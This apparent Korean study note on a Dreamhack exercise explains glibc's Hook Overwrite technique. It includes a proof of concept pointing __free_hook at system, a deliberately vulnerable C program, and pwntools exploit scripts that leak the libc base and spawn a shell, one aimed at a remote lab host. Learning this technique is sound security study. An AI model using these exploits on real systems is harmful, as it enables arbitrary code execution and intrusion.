[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.
- 서론
- 메모리 함수 훅
- Free Hook Overwrite
- +ɑ, one_gadget
- Q&A
- 마치며
'Hook'에는 '갈고리'라는 뜻이 있습니다.
컴퓨터 과학에서는 운영체제가 어떤 코드를 실행하려고 할 때,
이를 낚아채어 다른 코드가 실행되게 하는 것을 'Hooking(후킹)'이라고 하며,
이 때 실행되는 코드를 'Hook(훅)'이라고 합니다.
후킹은 굉장히 다양한 용도로 사용됩니다.
함수에 훅을 심어서 함수의 호출을 모니터링 하거나, 함ㅅ에 기능을 추가하거나, 아예 다른 코드를 심어서 실행 흐름을 변조할 수도 있습니다.
예를 들어, malloc과 free에 훅을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링할 수 있습니다.
이를 더욱 응용한다면, 모든 함수의 도입 부분에 훅을 설치한다면, 소프트웨어가 실행 중에 호출하는 함수를 모두 추적(Tracing)할 수 있습니다.
이러한 모니터링 기능은 해커에 의해 악용될 수 있습니다.
해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면,
사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능하죠.
Hook Overwrite는 이러한 훅의 특징을 이용한 공격 기법입니다.
malloc과 free에 후킹하여 각 함수가 호출될 때, 공격자가 작성한 악의적인 코드가 실행되게끔 하는 기법입니다.
Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하므로, Full RELRO를 우회하는 기법으로 활용될 수 있습니다.
malloc, free realloc hookC언어에는 메모리 동적 할당과 해제를 담당하는 함수는 malloc, free, realloc이 대표적입니다.
각 함수는 libc.so에 구현되어 잇습니다.
libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있습니다.
예를 들어, malloc에는 __malloc_hook 변수의 값이 NULL인지 검사하고, 아니라면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행합니다.
이 때, malloc의 인자는 훅 함수에 전달됩니다.
같은 방식으로 free, realloc도 각각 __free_hook, __realloc_hook이라는 훅 변수를 사용합니다.
// __malloc_hook
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook); // malloc hook read
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// ...
}
__malloc_hook, __free_hook, __realloc_hook은 관련된 함수들과 마찬가지로 libc.so에 정의되어 있습니다.
이 변수들의 오프셋은 각각 0x3ed8e8, 0x3ebc30, 0x3ebc28인데, 섹션 헤더 정보를 참조하면 libc.so의 bss 섹션에 포함됨을 알 수 있습니다.
bss 섹션은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있습니다.
malloc, free, realloc에는 각각 대응되는 훅 변수가 존재하며,
훅 변수들은 libc의 bss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능합니다.
또한, 훅을 실행할 때는 기존 함수에 전달한 인자를 같이 전달해주므로,
__malloc_hook을 system함수의 주소로 덮고, malloc("/bin/sh")을 호출하여 셸을 획득하는 등의 공격이 가능합니다.
다음 예제는 훅을 덮는 공격이 가능함을 보이는 Poc(Proof-of-Concept)입니다.
컴파일하고 실행하면, __free_hook을 system함수로 덮고, free("/bin/sh")를 호출하자 셸을 획득함을 볼 수 있습니다.
// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c
#include <malloc.h>
#include <stdlib.h>
#include <string.h>
const char *buf="/bin/sh";
int main() {
printf("\"__free_hook\" now points at \"system\"\n");
__free_hook = (void *)system;
printf("call free(\"/bin/sh\")\n");
free(buf);
}
$ ./fho
"__free_hook" now points at "system"
call free("/bin/sh")
$ echo "This is Hook Overwrite!"
This is Hook Overwrite!
Full RELRO가 적용된 바이너리에도 라이브러리의 훅에는 쓰기 권한이 남아있으므로 이런 공격을 고려할 수 있습니다.
free함수의 훅을 덮어보겠습니다.
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
cheksec으로 해당 바이너리를 살펴보면,
지금까지 배운 모든 보호 기법이 사용되고 있습니다.
$ gcc -o fho fho.c
$ checksec fho
[*] '/home/hhro/dreamhack/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
read 함수를 통해 스택 버퍼 오버플로우가 발생할 수 있습니다.puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
공격자는 다음 세 가지 수단(Primivive)을 이용하여 셸을 획득할 수 있습니다.
[1]. 스택의 어떤 값을 읽을 수 있다.
[2]. 임의 주소에 임의 값을 쓸 수 있다.
[3]. 임의 주소를 해제할 수 있다.
__free_hook, system함수, "/bin/sh" 문자열은 libc.so에 정의되어 있으므로,
매핑된 libc.so안의 주소를 구해야 이들의 주소를 구할 수 있습니다.
[1]을 이용하면, 스택의 값을 알 수 있는데,
스택에는 libc의 주소가 있을 가능성이 매우 큽니다.
특히, main함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로,
main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있습니다.
$ gdb ./fho
pwndbg> start
pwndbg> main
pwndbg> bt
#0 0x00005555555548be in main ()
#1 0x00007ffff7a05b97 in __libc_start_main (main=0x5555555548ba <main>, argc=1, argv=0x7fffffffc338, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffc328) at ../csu/libc-start.c:310
#2 0x00005555555547da in _start ()
[2]에서 __free_hook의 값을 system함수의 주소로 덮어쓰고,
[3]에서 "/bin/sh"를 해제하게 하면 system("/bin/sh")가 호출되어 셸을 획득할 수 있습니다.
반환 주소를 읽어서 라이브러리의 변수 및 함수들의 주소를 구할 것입니다.
gdb로 main함수의 반환 주소인 libc_start_main을 읽은 다음,
그 값에서 libc의 매핑 주소를 빼면, libc와 반환 주소의 오프셋을 구할 수 있습니다.
2가지 주소는 모두 libc와 함께 매핑되어 있는 주소이기 때문입니다.
익프슬로잇에서는 그 오프셋을 이용하여 libc의 매핑 주소를 계산할 수 있습니다.
구해낸 __free_hook, system함수, "/bin/sh"문자열의 주소를 이용하면 셸을 획득할 수 있습니다.
#!/usr/bin/python3
# Name: fho.py
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search("/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()
'one_gadget' 또는 'magic_gadget'은 실행하면 셸이 획득되는 코드 뭉치를 말합니다.
one_gadget을 활용하면 libc에서 손쉽게 one_gadget을 찾을 수 있습니다.
one_gadget은 libc 버전마다 다르게 존재하며, 제약 조건도 모두 다릅니다.
상황에 따라 맞는 가젯을 사용하거나, 제약 조건에 만족하도록 조작해줘야합니다.
one_gadget은 함수에 인자를 전달하기 어려울 때 유용하게 사용될 수 있습니다.
예를 들어, __malloc_hook을 덮을 수 있는데,
malloc을 호출할 때 인자를 검사해서 작은 정수밖에 입력할 수 없는 상황이라면,
"/bin/sh"를 인자로 전달하기가 매우 어렵습니다.
이럴 때 제약 조건을 만족하는 one_gadget이 존재한다면, 이를 호출해서 셸을 획득할 수 있습니다.
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
#context.log_level = "debug"
p = remote("host3.dreamhack.games", 8588)
e = ELF("./fho")
l = ELF("./libc-2.27.so")
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvn(0x6) + b"\x00\x00")
libc_base = libc_start_main_xx - 0x021bf7
free_hook = libc_base + l.sym["__free_hook"]
og = libc_base+0x4f432
slog("libc_base", libc_base)
slog("free_hook", free_hook)
# [2] Overwrite 'free_hook' with 'system'
p.sendlineafter("To write: ", str(free_hook))
p.sendlineafter("With: ", str(og))
# [3] Exploit
p.sendlineafter("To free: ", "0")
p.interactive()
-
[Reference] : 위 글은 다음 내용을 제가 공부한 후, 인용∙참고∙정리하여 만들어진 게시글입니다.